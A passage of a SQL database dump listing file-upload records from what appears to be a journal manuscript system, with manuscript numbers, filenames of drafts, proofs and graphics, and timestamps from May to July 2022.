18:04:32',1,1,0),(32466,12745,'12745-Manuscript-2022-05-31-svaj-iphsj-22-12745.rar',NULL,'2022-05-31 12:24:24',1,3,1),(32467,12746,'12746-Manuscript-2022-05-31-ieyw-iphsj-22-12746.rar',NULL,'2022-05-31 12:24:42',1,3,1),(32468,12747,'12747-Manuscript-2022-05-31-2qfy-iphsj-22-12747.rar',NULL,'2022-05-31 12:24:58',1,3,1),(32469,12748,'12748-Manuscript-2022-05-31-r4t6-iphsj-22-12748.rar',NULL,'2022-05-31 12:25:14',1,3,1),(32470,11493,'11493-Manuscript-2022-05-31-heiy-graphic-completed.pdf',NULL,'2022-05-31 14:03:36',1,3,0),(32471,12675,'12675-Manuscript-2022-05-31-9xpd-graphic-completed.pdf',NULL,'2022-05-31 14:06:46',1,3,0),(32472,12674,'12674-Manuscript-2022-05-31-bt73-graphic-completed.pdf',NULL,'2022-05-31 15:23:07',1,3,0),(32473,12565,'12565-Manuscript-2022-05-31-vl1q-graphic-completed.pdf',NULL,'2022-05-31 15:24:39',1,3,0),(32474,12785,'12785-425-Manuscript-proof-submission-2022-05-31.rar',NULL,'2022-05-31 15:26:14',1,3,0),(32475,12718,'12718-Manuscript-2022-05-31-3r6y-graphic-completed.pdf',NULL,'2022-05-31 15:26:28',1,3,0),(32476,12745,'12745-Manuscript-2022-05-31-pgk5-graphic-completed.pdf',NULL,'2022-05-31 17:35:48',1,3,0),(32477,12746,'12746-Manuscript-2022-05-31-mxzb-graphic-completed.pdf',NULL,'2022-05-31 17:35:59',1,3,0),(32478,12747,'12747-Manuscript-2022-05-31-sk3q-graphic-completed.pdf',NULL,'2022-05-31 17:36:10',1,3,0),(32479,12748,'12748-Manuscript-2022-05-31-kr7m-graphic-completed.pdf',NULL,'2022-05-31 17:36:24',1,3,0),(32480,12769,'12769-59-Manuscript-2022-06-01.tif',NULL,'2022-06-01 02:17:27',1,1,0),(32481,12769,'12769-1851-Manuscript-2022-06-01.tif',NULL,'2022-06-01 02:17:27',1,1,0),(32482,12769,'12769-10-Manuscript-2022-06-01.tif',NULL,'2022-06-01 02:17:27',1,1,0),(32483,12769,'12769-1018-Manuscript-2022-06-01.tif',NULL,'2022-06-01 02:17:28',1,1,0),(32484,12769,'12769-1633-Manuscript-2022-06-01.tif',NULL,'2022-06-01 02:17:28',1,1,0),(32485,12769,'12769-1691-Manuscript-2022-06-01.tif',NULL,'2022-06-01 02:17:28',1,1,0),(32486,12769,'12769-741-Manuscript-2022-06-01.tif',NULL,'2022-06-01 02:17:28',1,1,0),(32487,12769,'12769-1976-Manuscript-2022-06-01.tif',NULL,'2022-06-01 02:17:28',1,1,0),(32488,12769,'12769-1598-Manuscript-2022-06-01.tif',NULL,'2022-06-01 02:17:28',1,1,0),(32489,12769,'12769-340-Manuscript-2022-06-01.tif',NULL,'2022-06-01 02:17:28',1,1,0),(32490,12769,'12769-455-Manuscript-2022-06-01.tif',NULL,'2022-06-01 02:17:28',1,1,0),(32491,12784,'12784-909-Manuscript-proof-submission-2022-06-01.rar',NULL,'2022-06-01 09:46:18',1,3,0),(32492,12807,'12807-0-Manuscript-2022-06-01.docx',NULL,'2022-06-01 13:54:34',1,1,0),(32493,12756,'12756-420-Manuscript-2022-06-01.docx',NULL,'2022-06-01 17:48:55',1,1,0),(32494,12756,'12756-1599-Manuscript-2022-06-01.docx',NULL,'2022-06-01 17:48:55',1,1,0),(32495,12756,'12756-296-Manuscript-2022-06-01.docx',NULL,'2022-06-01 17:49:30',1,1,0),(32496,12756,'12756-284-Manuscript-2022-06-01.docx',NULL,'2022-06-01 17:49:47',1,1,0),(32497,12808,'12808-0-Manuscript-2022-06-02.mp4',NULL,'2022-06-02 05:14:32',1,1,0),(32498,12769,'12769-1159-Manuscript-2022-06-02.docx',NULL,'2022-06-02 11:29:09',1,1,0),(32499,12769,'12769-672-Manuscript-2022-06-02.doc',NULL,'2022-06-02 11:29:09',1,1,0),(32500,12809,'12809-0-Manuscript-2022-06-02.docx',NULL,'2022-06-02 15:23:50',1,1,0),(32501,12810,'12810-0-Manuscript-2022-06-02.jpg',NULL,'2022-06-02 21:49:06',1,1,0),(32502,12786,'12786-67-Manuscript-proof-submission-2022-06-03.rar',NULL,'2022-06-03 13:41:09',1,3,0),(32503,12786,'12786-510-Manuscript-proof-submission-2022-06-03.rar',NULL,'2022-06-03 13:41:17',1,3,0),(32504,12789,'12789-1782-Manuscript-proof-submission-2022-06-04.rar',NULL,'2022-06-04 11:01:29',1,3,0),(32505,12784,'12784-Manuscript-2022-06-04-90v2-aaacts-20-12784.rar',NULL,'2022-06-04 11:32:46',1,3,1),(32506,12785,'12785-Manuscript-2022-06-04-kwp5-ecdr-20-12785.rar',NULL,'2022-06-04 11:33:35',1,3,0),(32507,12786,'12786-Manuscript-2022-06-04-pvcq-ijmrhs-20-12786.rar',NULL,'2022-06-04 11:33:59',1,3,1),(32508,12789,'12789-Manuscript-2022-06-04-fqrn-ap-team-revised.rar',NULL,'2022-06-04 11:34:18',1,3,1),(32509,12785,'12785-Manuscript-2022-06-04-rab4-graphic-completed.pdf',NULL,'2022-06-04 12:20:56',1,3,0),(32510,12811,'12811-0-Manuscript-2022-06-04.docx',NULL,'2022-06-04 14:29:05',1,1,0),(32511,12812,'12812-0-Manuscript-2022-06-05.docx',NULL,'2022-06-05 15:13:49',1,1,0),(32512,12812,'12812-1-Manuscript-2022-06-05.doc',NULL,'2022-06-05 15:13:49',1,1,0),(32513,12813,'12813-0-Manuscript-2022-06-06.docx',NULL,'2022-06-06 10:09:32',1,1,0),(32514,12790,'12790-685-Manuscript-proof-submission-2022-06-06.rar',NULL,'2022-06-06 12:10:38',1,3,0),(32515,12796,'12796-692-Manuscript-proof-submission-2022-06-06.rar',NULL,'2022-06-06 12:22:32',1,3,0),(32516,12790,'12790-Manuscript-2022-06-06-c7ib-iphsj-22-12790.rar',NULL,'2022-06-06 18:31:16',1,3,1),(32517,12796,'12796-Manuscript-2022-06-06-mji1-iphsj-22-12796.rar',NULL,'2022-06-06 18:31:51',1,3,0),(32518,12796,'12796-Manuscript-2022-06-07-2iam-graphic-completed.pdf',NULL,'2022-06-07 10:18:33',1,3,0),(32519,12798,'12798-1493-Manuscript-proof-submission-2022-06-07.rar',NULL,'2022-06-07 10:25:24',1,3,0),(32520,12784,'12784-Manuscript-2022-06-07-4yz5-graphic-completed.pdf',NULL,'2022-06-07 11:30:29',1,3,0),(32521,12786,'12786-Manuscript-2022-06-07-10d7-graphic-completed.pdf',NULL,'2022-06-07 11:30:44',1,3,0),(32522,12790,'12790-Manuscript-2022-06-07-8s5z-graphic-completed.pdf',NULL,'2022-06-07 11:30:58',1,3,0),(32523,12789,'12789-Manuscript-2022-06-07-ic96-graphic-completed.pdf',NULL,'2022-06-07 11:31:25',1,3,0),(32524,12814,'12814-0-Manuscript-2022-06-07.docx',NULL,'2022-06-07 12:09:00',1,1,0),(32525,12795,'12795-468-Manuscript-proof-submission-2022-06-08.rar',NULL,'2022-06-08 14:46:53',1,3,0),(32526,12815,'12815-0-Manuscript-2022-06-09.docx',NULL,'2022-06-09 20:11:01',1,1,0),(32528,12804,'12804-62-Manuscript-proof-submission-2022-06-13.rar',NULL,'2022-06-13 11:46:33',1,3,0),(32529,12795,'12795-Manuscript-2022-06-13-qg85-iphsj-22-12795.rar',NULL,'2022-06-13 16:50:12',1,3,1),(32530,12798,'12798-Manuscript-2022-06-13-ruhf-iphsj-22-12798.rar',NULL,'2022-06-13 16:50:33',1,3,1),(32531,12804,'12804-Manuscript-2022-06-13-f7u8-iphsj-22-12804.rar',NULL,'2022-06-13 16:51:17',1,3,1),(32533,12795,'12795-Manuscript-2022-06-14-liej-graphic-completed.pdf',NULL,'2022-06-14 10:17:24',1,3,0),(32534,12798,'12798-Manuscript-2022-06-14-7z69-graphic-completed.pdf',NULL,'2022-06-14 10:17:38',1,3,0),(32535,12804,'12804-Manuscript-2022-06-14-gvhp-graphic-completed.pdf',NULL,'2022-06-14 10:17:51',1,3,0),(32536,12693,'12693-674-Manuscript-proof-submission-2022-06-14.zip',NULL,'2022-06-14 13:43:35',1,3,0),(32537,12818,'12818-0-Manuscript-2022-06-14.docx',NULL,'2022-06-14 19:05:03',1,1,0),(32538,12756,'12756-1404-Manuscript-proof-submission-2022-06-15.docx',NULL,'2022-06-15 10:12:03',1,3,0),(32539,12756,'12756-426-Manuscript-proof-submission-2022-06-15.docx',NULL,'2022-06-15 10:12:04',1,3,0),(32540,12756,'12756-209-Manuscript-proof-submission-2022-06-15.docx',NULL,'2022-06-15 10:12:04',1,3,0),(32541,12756,'12756-1075-Manuscript-proof-submission-2022-06-15.docx',NULL,'2022-06-15 10:12:04',1,3,0),(32542,12756,'12756-1275-Manuscript-proof-submission-2022-06-15.docx',NULL,'2022-06-15 10:12:06',1,3,0),(32543,12756,'12756-104-Manuscript-proof-submission-2022-06-15.docx',NULL,'2022-06-15 10:12:06',1,3,0),(32544,12756,'12756-337-Manuscript-proof-submission-2022-06-15.docx',NULL,'2022-06-15 10:12:06',1,3,0),(32545,12756,'12756-1154-Manuscript-proof-submission-2022-06-15.docx',NULL,'2022-06-15 10:12:06',1,3,0),(32546,12756,'12756-792-Manuscript-proof-submission-2022-06-15.docx',NULL,'2022-06-15 10:12:10',1,3,0),(32547,12756,'12756-238-Manuscript-proof-submission-2022-06-15.docx',NULL,'2022-06-15 10:12:10',1,3,0),(32548,12756,'12756-1410-Manuscript-proof-submission-2022-06-15.docx',NULL,'2022-06-15 10:12:10',1,3,0),(32549,12756,'12756-1783-Manuscript-proof-submission-2022-06-15.docx',NULL,'2022-06-15 10:12:10',1,3,0),(32550,12756,'12756-Manuscript-2022-06-15-rtau-ap-team-revised.zip',NULL,'2022-06-15 10:12:58',1,3,0),(32551,12756,'12756-Manuscript-2022-06-15-6h4i-graphic-completed.pdf',NULL,'2022-06-15 10:48:48',1,3,0),(32552,12756,'12756-Manuscript-2022-06-15-euax.pdf',NULL,'2022-06-15 14:55:48',1,3,0),(32553,12756,'12756-Manuscript-2022-06-15-l6w8.pdf',NULL,'2022-06-15 14:57:11',1,3,0),(32554,12783,'12783-572-Manuscript-proof-submission-2022-06-15.rar',NULL,'2022-06-15 15:47:46',1,3,0),(32555,12783,'12783-Manuscript-2022-06-15-ep8b-iphsj-22-12783.rar',NULL,'2022-06-15 16:59:17',1,3,1),(32556,12819,'12819-0-Manuscript-2022-06-16.docx',NULL,'2022-06-16 10:36:26',1,1,0),(32557,12820,'12820-0-Manuscript-2022-06-16.docx',NULL,'2022-06-16 11:20:39',1,1,0),(32558,12693,'12693-Manuscript-2022-06-16-mgdr-ap-ame-revised.zip',NULL,'2022-06-16 11:55:38',1,3,0),(32559,12693,'12693-Manuscript-2022-06-16-7hdu-ap-team-revised.rar',NULL,'2022-06-16 12:13:20',1,3,0),(32560,12693,'12693-Manuscript-2022-06-16-j28f-ap-team-revised.rar',NULL,'2022-06-16 12:13:38',1,3,0),(32561,12783,'12783-Manuscript-2022-06-16-a17z-graphic-completed.pdf',NULL,'2022-06-16 12:26:59',1,3,0),(32563,12693,'12693-Manuscript-2022-06-16-g6pl-graphic-completed.pdf',NULL,'2022-06-16 14:47:05',1,3,0),(32564,12693,'12693-Manuscript-2022-06-16-tgvy.pdf',NULL,'2022-06-16 17:13:20',1,3,0),(32565,12799,'12799-287-Manuscript-proof-submission-2022-06-16.zip',NULL,'2022-06-16 18:03:10',1,3,0),(32566,12822,'12822-0-Manuscript-2022-06-16.docx',NULL,'2022-06-16 18:54:23',1,1,0),(32567,12799,'12799-Manuscript-2022-06-17-iwuo-ipjnn-22-12799.rar',NULL,'2022-06-17 13:45:54',1,3,0),(32568,12799,'12799-Manuscript-2022-06-17-l176-graphic-completed.pdf',NULL,'2022-06-17 16:57:17',1,3,0),(32569,12799,'12799-Manuscript-2022-06-17-2jpi.pdf',NULL,'2022-06-17 17:33:18',1,3,0),(32570,12272,'12272-919-Manuscript-proof-submission-2022-06-18.rar',NULL,'2022-06-18 11:08:26',1,3,0),(32571,12823,'12823-0-Manuscript-2022-06-19.docx',NULL,'2022-06-19 05:25:55',1,1,0),(32572,12823,'12823-891-Manuscript-2022-06-20.docx',NULL,'2022-06-20 09:21:21',1,1,0),(32573,12823,'12823-1577-Manuscript-2022-06-20.docx',NULL,'2022-06-20 09:31:57',1,1,0),(32575,12274,'12274-364-Manuscript-proof-submission-2022-06-20.zip',NULL,'2022-06-20 10:12:10',1,3,0),(32576,11476,'11476-1300-Manuscript-proof-submission-2022-06-20.rar',NULL,'2022-06-20 10:15:33',1,3,0),(32577,11152,'11152-1369-Manuscript-proof-submission-2022-06-20.rar',NULL,'2022-06-20 10:19:17',1,3,0),(32578,11196,'11196-1953-Manuscript-proof-submission-2022-06-20.zip',NULL,'2022-06-20 10:22:10',1,3,0),(32579,12825,'12825-0-Manuscript-2022-06-20.docx',NULL,'2022-06-20 10:24:49',1,1,0),(32580,12826,'12826-0-Manuscript-2022-06-20.docx',NULL,'2022-06-20 10:49:36',1,1,0),(32581,12823,'12823-317-Manuscript-2022-06-20.docx',NULL,'2022-06-20 11:08:35',1,1,0),(32582,12272,'12272-Manuscript-2022-06-20-mau2-ipadm-22-12272.zip',NULL,'2022-06-20 13:53:38',1,3,0),(32583,11476,'11476-Manuscript-2022-06-20-ugca-ipadm-21-11476.zip',NULL,'2022-06-20 13:54:24',1,3,1),(32584,12274,'12274-Manuscript-2022-06-20-1swp-ipadm-22-12274.zip',NULL,'2022-06-20 13:55:23',1,3,0),(32585,11196,'11196-Manuscript-2022-06-20-5r6y-ipadm-21-11196.zip',NULL,'2022-06-20 13:58:22',1,3,0),(32586,12272,'12272-Manuscript-2022-06-20-oi02-graphic-completed.pdf',NULL,'2022-06-20 14:10:07',1,3,0),(32587,12274,'12274-Manuscript-2022-06-20-updf-move-pdf-making.pdf',NULL,'2022-06-20 14:11:38',1,3,0),(32588,12274,'12274-Manuscript-2022-06-20-t19g-move-pdf-making.pdf',NULL,'2022-06-20 14:12:43',1,3,0),(32589,12274,'12274-Manuscript-2022-06-20-afs2-move-pdf-making.pdf',NULL,'2022-06-20 14:15:15',1,3,0),(32590,12274,'12274-Manuscript-2022-06-20-ibc5-graphic-completed.pdf',NULL,'2022-06-20 14:18:27',1,3,0),(32591,11476,'11476-Manuscript-2022-06-20-8g0n-graphic-completed.pdf',NULL,'2022-06-20 14:22:46',1,3,0),(32592,11152,'11152-Manuscript-2022-06-20-x2qo-graphic-completed.pdf',NULL,'2022-06-20 14:29:48',1,3,0),(32593,11196,'11196-Manuscript-2022-06-20-z6nb-graphic-completed.pdf',NULL,'2022-06-20 14:35:18',1,3,0),(32594,11152,'11152-Manuscript-2022-06-21-rw7h.pdf',NULL,'2022-06-21 15:01:41',1,3,0),(32595,12274,'12274-Manuscript-2022-06-21-v3p2.pdf',NULL,'2022-06-21 15:02:30',1,3,0),(32596,11196,'11196-Manuscript-2022-06-21-rmb3.pdf',NULL,'2022-06-21 15:03:07',1,3,0),(32597,11476,'11476-Manuscript-2022-06-21-p91q.pdf',NULL,'2022-06-21 15:03:48',1,3,1),(32598,12272,'12272-Manuscript-2022-06-21-gi8c.pdf',NULL,'2022-06-21 15:04:27',1,3,0),(32599,12769,'12769-379-Manuscript-proof-submission-2022-06-21.docx',NULL,'2022-06-21 15:26:26',1,3,0),(32600,12769,'12769-1167-Manuscript-proof-submission-2022-06-21.docx',NULL,'2022-06-21 15:26:26',1,3,0),(32601,12769,'12769-1873-Manuscript-proof-submission-2022-06-21.docx',NULL,'2022-06-21 15:26:26',1,3,0),(32602,12774,'12774-824-Manuscript-proof-submission-2022-06-21.docx',NULL,'2022-06-21 15:27:05',1,3,0),(32603,12774,'12774-1065-Manuscript-proof-submission-2022-06-21.docx',NULL,'2022-06-21 15:27:05',1,3,0),(32604,12774,'12774-1298-Manuscript-proof-submission-2022-06-21.docx',NULL,'2022-06-21 15:27:05',1,3,0),(32605,12774,'12774-337-Manuscript-proof-submission-2022-06-21.docx',NULL,'2022-06-21 15:27:05',1,3,0),(32606,12827,'12817-0-Manuscript-2022-06-14.docx','','2022-06-14 00:00:00',1,1,0),(32607,12827,'12827-483-Manuscript-2022-06-22.docx',NULL,'2022-06-22 09:12:40',1,1,0),(32608,12523,'12523-1915-Manuscript-proof-submission-2022-06-22.zip',NULL,'2022-06-22 11:45:12',1,3,0),(32609,12769,'12769-Manuscript-2022-06-22-mk28-ipaclr-22-12769.zip',NULL,'2022-06-22 15:52:51',1,3,0),(32610,12769,'12769-Manuscript-2022-06-22-g056-graphic-completed.pdf',NULL,'2022-06-22 15:55:43',1,3,0),(32611,12769,'12769-Manuscript-2022-06-22-tjcz.pdf',NULL,'2022-06-22 15:57:46',1,3,0),(32612,12464,'12464-1227-Manuscript-proof-submission-2022-06-23.rar',NULL,'2022-06-23 10:58:04',1,3,0),(32613,12464,'12464-1168-Manuscript-proof-submission-2022-06-23.rar',NULL,'2022-06-23 10:58:07',1,3,0),(32614,12464,'12464-404-Manuscript-proof-submission-2022-06-23.rar',NULL,'2022-06-23 10:58:09',1,3,0),(32615,12464,'12464-268-Manuscript-proof-submission-2022-06-23.rar',NULL,'2022-06-23 10:58:11',1,3,0),(32616,12719,'12719-1428-Manuscript-proof-submission-2022-06-23.zip',NULL,'2022-06-23 11:01:51',1,3,0),(32617,12719,'12719-1973-Manuscript-proof-submission-2022-06-23.zip',NULL,'2022-06-23 11:01:55',1,3,0),(32618,12719,'12719-999-Manuscript-proof-submission-2022-06-23.zip',NULL,'2022-06-23 11:01:57',1,3,0),(32619,12719,'12719-1433-Manuscript-proof-submission-2022-06-23.zip',NULL,'2022-06-23 11:02:07',1,3,0),(32620,12788,'12788-962-Manuscript-proof-submission-2022-06-23.zip',NULL,'2022-06-23 11:04:19',1,3,0),(32621,12788,'12788-184-Manuscript-proof-submission-2022-06-23.zip',NULL,'2022-06-23 11:04:20',1,3,0),(32622,12788,'12788-1418-Manuscript-proof-submission-2022-06-23.zip',NULL,'2022-06-23 11:04:22',1,3,0),(32623,12794,'12794-478-Manuscript-proof-submission-2022-06-23.zip',NULL,'2022-06-23 11:06:39',1,3,0),(32624,12794,'12794-205-Manuscript-proof-submission-2022-06-23.zip',NULL,'2022-06-23 11:06:44',1,3,0),(32625,12794,'12794-96-Manuscript-proof-submission-2022-06-23.zip',NULL,'2022-06-23 11:06:47',1,3,0),(32626,12464,'12464-Manuscript-2022-06-23-vgd6-ap-team-revised.zip',NULL,'2022-06-23 11:09:57',1,3,0),(32627,12719,'12719-Manuscript-2022-06-23-z9cr-ap-team-revised.zip',NULL,'2022-06-23 11:11:20',1,3,0),(32628,12788,'12788-Manuscript-2022-06-23-8ixm-ap-team-revised.zip',NULL,'2022-06-23 11:12:33',1,3,0),(32629,12794,'12794-Manuscript-2022-06-23-o1n3-ap-team-revised.zip',NULL,'2022-06-23 11:13:33',1,3,0),(32630,12464,'12464-Manuscript-2022-06-23-gnmp-graphic-completed.pdf',NULL,'2022-06-23 11:44:33',1,3,0),(32631,12719,'12719-Manuscript-2022-06-23-e5al-graphic-completed.pdf',NULL,'2022-06-23 11:46:25',1,3,0),(32632,12788,'12788-Manuscript-2022-06-23-4rz9-graphic-completed.pdf',NULL,'2022-06-23 11:47:36',1,3,0),(32633,12794,'12794-Manuscript-2022-06-23-mlhb-graphic-completed.pdf',NULL,'2022-06-23 11:48:25',1,3,0),(32634,12464,'12464-Manuscript-2022-06-23-650o.pdf',NULL,'2022-06-23 12:02:49',1,3,0),(32635,12719,'12719-Manuscript-2022-06-23-uvcn.pdf',NULL,'2022-06-23 12:03:28',1,3,0),(32636,12788,'12788-Manuscript-2022-06-23-8j1f.pdf',NULL,'2022-06-23 12:04:03',1,3,0),(32637,12794,'12794-Manuscript-2022-06-23-mqkz.pdf',NULL,'2022-06-23 12:04:43',1,3,0),(32640,12829,'12829-0-Manuscript-2022-06-23.docx',NULL,'2022-06-23 17:42:18',1,1,0),(32641,12830,'12830-0-Manuscript-2022-06-23.docx',NULL,'2022-06-23 20:58:48',1,1,0),(32642,12831,'12831-0-Manuscript-2022-06-24.docx',NULL,'2022-06-24 09:58:14',1,1,0),(32643,12832,'12832-0-Manuscript-2022-06-24.docx',NULL,'2022-06-24 10:10:35',1,1,0),(32644,12833,'12833-0-Manuscript-2022-06-24.docx',NULL,'2022-06-24 10:46:12',1,1,0),(32645,12829,'12829-184-Manuscript-proof-submission-2022-06-24.docx',NULL,'2022-06-24 15:52:33',1,3,0),(32646,12831,'12831-549-Manuscript-proof-submission-2022-06-24.docx',NULL,'2022-06-24 15:59:11',1,3,0),(32647,12832,'12832-126-Manuscript-proof-submission-2022-06-24.docx',NULL,'2022-06-24 16:44:17',1,3,0),(32648,12774,'12774-Manuscript-2022-06-25-qusb-ipaclr-22-12774.zip',NULL,'2022-06-25 11:11:40',1,3,0),(32649,12774,'12774-Manuscript-2022-06-25-e2zy-graphic-completed.pdf',NULL,'2022-06-25 11:14:15',1,3,0),(32650,12774,'12774-Manuscript-2022-06-25-65b8.pdf',NULL,'2022-06-25 11:38:44',1,3,0),(32651,12723,'12723-1353-Manuscript-2022-06-27.docx',NULL,'2022-06-27 14:19:42',1,1,0),(32652,12807,'12807-1286-Manuscript-proof-submission-2022-06-28.rar',NULL,'2022-06-28 09:39:19',1,3,0),(32653,12807,'12807-Manuscript-2022-06-28-welk-iphsj-22-12807.rar',NULL,'2022-06-28 09:58:42',1,3,0),(32654,12807,'12807-Manuscript-2022-06-28-38lr-graphic-completed.pdf',NULL,'2022-06-28 12:06:04',1,3,0),(32655,12777,'12777-1330-Manuscript-proof-submission-2022-06-28.zip',NULL,'2022-06-28 15:28:46',1,3,0),(32656,12523,'12523-Manuscript-2022-06-28-6o3l-ipaom-22-12523.rar',NULL,'2022-06-28 15:34:47',1,3,0),(32657,12829,'12829-Manuscript-2022-06-28-hbt7-ipaom-22-12829.docx',NULL,'2022-06-28 15:34:57',1,3,0),(32658,12832,'12832-Manuscript-2022-06-28-3hyg-ipaom-22-12832.docx',NULL,'2022-06-28 15:35:08',1,3,1),(32659,12831,'12831-Manuscript-2022-06-28-ys0b-ipaom-22-12831.docx',NULL,'2022-06-28 15:35:21',1,3,1),(32660,12834,'12834-0-Manuscript-2022-06-28.docx',NULL,'2022-06-28 15:44:34',1,1,0),(32661,12835,'12835-0-Manuscript-2022-06-28.docx',NULL,'2022-06-28 15:50:25',1,1,0),(32662,12836,'12836-0-Manuscript-2022-06-28.docx',NULL,'2022-06-28 15:54:55',1,1,0),(32663,12723,'12723-1749-Manuscript-proof-submission-2022-06-29.zip',NULL,'2022-06-29 13:50:00',1,3,0),(32664,12829,'12829-Manuscript-2022-06-29-3ne0-graphic-completed.pdf',NULL,'2022-06-29 16:56:24',1,3,0),(32665,12831,'12831-Manuscript-2022-06-29-ei8d-graphic-completed.pdf',NULL,'2022-06-29 16:57:13',1,3,0),(32666,12832,'12832-Manuscript-2022-06-29-b408-graphic-completed.pdf',NULL,'2022-06-29 16:57:45',1,3,0),(32668,12723,'12723-Manuscript-2022-06-30-jtvq-ipjnn-22-12723.rar',NULL,'2022-06-30 16:42:15',1,3,0),(32669,12777,'12777-Manuscript-2022-06-30-d7ep-ipjnn-22-12777.rar',NULL,'2022-06-30 16:42:45',1,3,0),(32670,12837,'12837-0-Manuscript-2022-06-29.docx','','2022-06-29 00:00:00',1,1,0),(32671,12523,'12523-Manuscript-2022-07-01-peh9-graphic-completed.pdf',NULL,'2022-07-01 14:46:55',1,3,0),(32672,12777,'12777-Manuscript-2022-07-01-lst0-graphic-completed.pdf',NULL,'2022-07-01 17:33:46',1,3,0),(32673,12723,'12723-Manuscript-2022-07-01-7e6a-graphic-completed.pdf',NULL,'2022-07-01 17:34:20',1,3,0),(32674,12838,'12838-0-Manuscript-2022-07-01.docx',NULL,'2022-07-01 18:25:33',1,1,0),(32675,12771,'12771-587-Manuscript-proof-submission-2022-07-04.zip',NULL,'2022-07-04 11:56:15',1,3,0),(32676,12728,'12728-1063-Manuscript-proof-submission-2022-07-04.zip',NULL,'2022-07-04 11:56:41',1,3,0),(32677,12840,'12840-0-Manuscript-2022-07-04.docx',NULL,'2022-07-04 14:13:34',1,1,0),(32678,12841,'12841-0-Manuscript-2022-07-04.docx',NULL,'2022-07-04 14:55:54',1,1,0),(32679,12807,'12807-Manuscript-2022-07-05-1mak.pdf',NULL,'2022-07-05 10:27:28',1,3,0),(32680,12842,'12842-0-Manuscript-2022-07-05.docx',NULL,'2022-07-05 11:23:43',1,1,0),(32681,12843,'12843-0-Manuscript-2022-07-05.docx',NULL,'2022-07-05 14:51:42',1,1,0),(32682,12844,'12844-0-Manuscript-2022-07-05.docx',NULL,'2022-07-05 14:53:31',1,1,0),(32683,12845,'12845-0-Manuscript-2022-07-05.docx',NULL,'2022-07-05 14:54:49',1,1,0),(32684,12829,'12829-Manuscript-2022-07-05-0p5w.pdf',NULL,'2022-07-05 14:55:24',1,3,0),(32685,12523,'12523-Manuscript-2022-07-05-q0ya.pdf',NULL,'2022-07-05 14:56:02',1,3,0),(32686,12832,'12832-Manuscript-2022-07-05-vd2u.pdf',NULL,'2022-07-05 14:56:21',1,3,0),(32687,12831,'12831-Manuscript-2022-07-05-2rey.pdf',NULL,'2022-07-05 14:56:38',1,3,0),(32688,12523,'12523-Manuscript-2022-07-06-vbyg.pdf',NULL,'2022-07-06 10:56:52',1,3,0),(32689,12832,'12832-Manuscript-2022-07-06-7nv5.pdf',NULL,'2022-07-06 10:57:07',1,3,0),(32690,12831,'12831-Manuscript-2022-07-06-ola5.pdf',NULL,'2022-07-06 10:57:22',1,3,0),(32691,12723,'12723-Manuscript-2022-07-06-7xkg.pdf',NULL,'2022-07-06 11:03:33',1,3,0),(32692,12777,'12777-Manuscript-2022-07-06-3u2v.pdf',NULL,'2022-07-06 11:03:47',1,3,0),(32693,12843,'12843-313-Manuscript-proof-submission-2022-07-06.docx',NULL,'2022-07-06 12:24:45',1,3,0),(32694,12844,'12844-629-Manuscript-proof-submission-2022-07-06.docx',NULL,'2022-07-06 13:04:44',1,3,0),(32695,12845,'12845-1673-Manuscript-proof-submission-2022-07-06.docx',NULL,'2022-07-06 13:05:15',1,3,0),(32697,12777,'12777-Manuscript-2022-07-06-g5bx-ap-ame-revised.pdf',NULL,'2022-07-06 15:20:56',1,3,0),(32698,12777,'12777-Manuscript-2022-07-06-1da6.pdf',NULL,'2022-07-06 15:36:44',1,3,0),(32700,12842,'12842-1271-Manuscript-proof-submission-2022-07-07.docx',NULL,'2022-07-07 17:42:38',1,3,0),(32701,12848,'12848-0-Manuscript-2022-07-08.docx',NULL,'2022-07-08 09:42:43',1,1,0),(32702,12728,'12728-Manuscript-2022-07-08-2t8u-ipaom-22-12728.rar',NULL,'2022-07-08 14:23:10',1,3,0),(32703,12771,'12771-Manuscript-2022-07-08-thzy-ipaom-22-12771.rar',NULL,'2022-07-08 14:23:26',1,3,0),(32704,12771,'12771-Manuscript-2022-07-08-0gv6-graphic-completed.pdf',NULL,'2022-07-08 16:47:27',1,3,0),(32705,12728,'12728-Manuscript-2022-07-08-6wed-graphic-completed.pdf',NULL,'2022-07-08 16:48:01',1,3,0),(32707,12850,'12850-0-Manuscript-2022-07-09.doc',NULL,'2022-07-09 00:56:04',1,1,0),(32708,12851,'12851-0-Manuscript-2022-07-10.docx',NULL,'2022-07-10 02:42:50',1,1,0),(32709,12852,'12852-0-Manuscript-2022-07-11.docx',NULL,'2022-07-11 17:32:05',1,1,0),(32710,12853,'12853-0-Manuscript-2022-07-12.docx',NULL,'2022-07-12 06:32:23',1,1,0),(32713,12856,'12856-0-Manuscript-2022-07-13.docx',NULL,'2022-07-13 11:46:41',1,1,0),(32714,12856,'12856-1-Manuscript-2022-07-13.docx',NULL,'2022-07-13 11:46:42',1,1,0),(32715,12856,'12856-2-Manuscript-2022-07-13.docx',NULL,'2022-07-13 11:46:42',1,1,0),(32719,12827,'12827-1974-Manuscript-proof-submission-2022-07-13.docx',NULL,'2022-07-13 12:21:02',1,3,0),(32720,12827,'12827-666-Manuscript-proof-submission-2022-07-13.docx',NULL,'2022-07-13 12:21:02',1,3,0),(32721,12827,'12827-1867-Manuscript-proof-submission-2022-07-13.docx',NULL,'2022-07-13 12:21:02',1,3,0),(32722,12827,'12827-32-Manuscript-proof-submission-2022-07-13.docx',NULL,'2022-07-13 12:21:02',1,3,0),(32723,12827,'12827-384-Manuscript-proof-submission-2022-07-13.docx',NULL,'2022-07-13 12:21:02',1,3,0),(32724,12858,'12858-0-Manuscript-2022-07-13.docx',NULL,'2022-07-13 16:32:35',1,1,0),(32725,12859,'12859-0-Manuscript-2022-07-13.docx',NULL,'2022-07-13 22:19:36',1,1,0),(32726,12859,'12859-1-Manuscript-2022-07-13.docx',NULL,'2022-07-13 22:19:36',1,1,0),(32727,12859,'12859-2-Manuscript-2022-07-13.docx',NULL,'2022-07-13 22:19:37',1,1,0),(32728,12842,'12842-Manuscript-2022-07-15-a1e9-ipjnn-22-12842.docx',NULL,'2022-07-15 14:44:00',1,3,0),(32729,12845,'12845-Manuscript-2022-07-15-hd3k-ipaom-22-12845.docx',NULL,'2022-07-15 16:46:09',1,3,0),(32730,12844,'12844-Manuscript-2022-07-15-a1xc-ipaom-22-12844.docx',NULL,'2022-07-15 16:46:21',1,3,0),(32731,12843,'12843-Manuscript-2022-07-15-yj54-ipaom-22-12843.docx',NULL,'2022-07-15 16:46:31',1,3,0),(32732,12842,'12842-Manuscript-2022-07-15-ewy8-graphic-completed.pdf',NULL,'2022-07-15 16:56:41',1,3,0),(32733,12834,'12834-1187-Manuscript-proof-submission-2022-07-15.rar',NULL,'2022-07-15 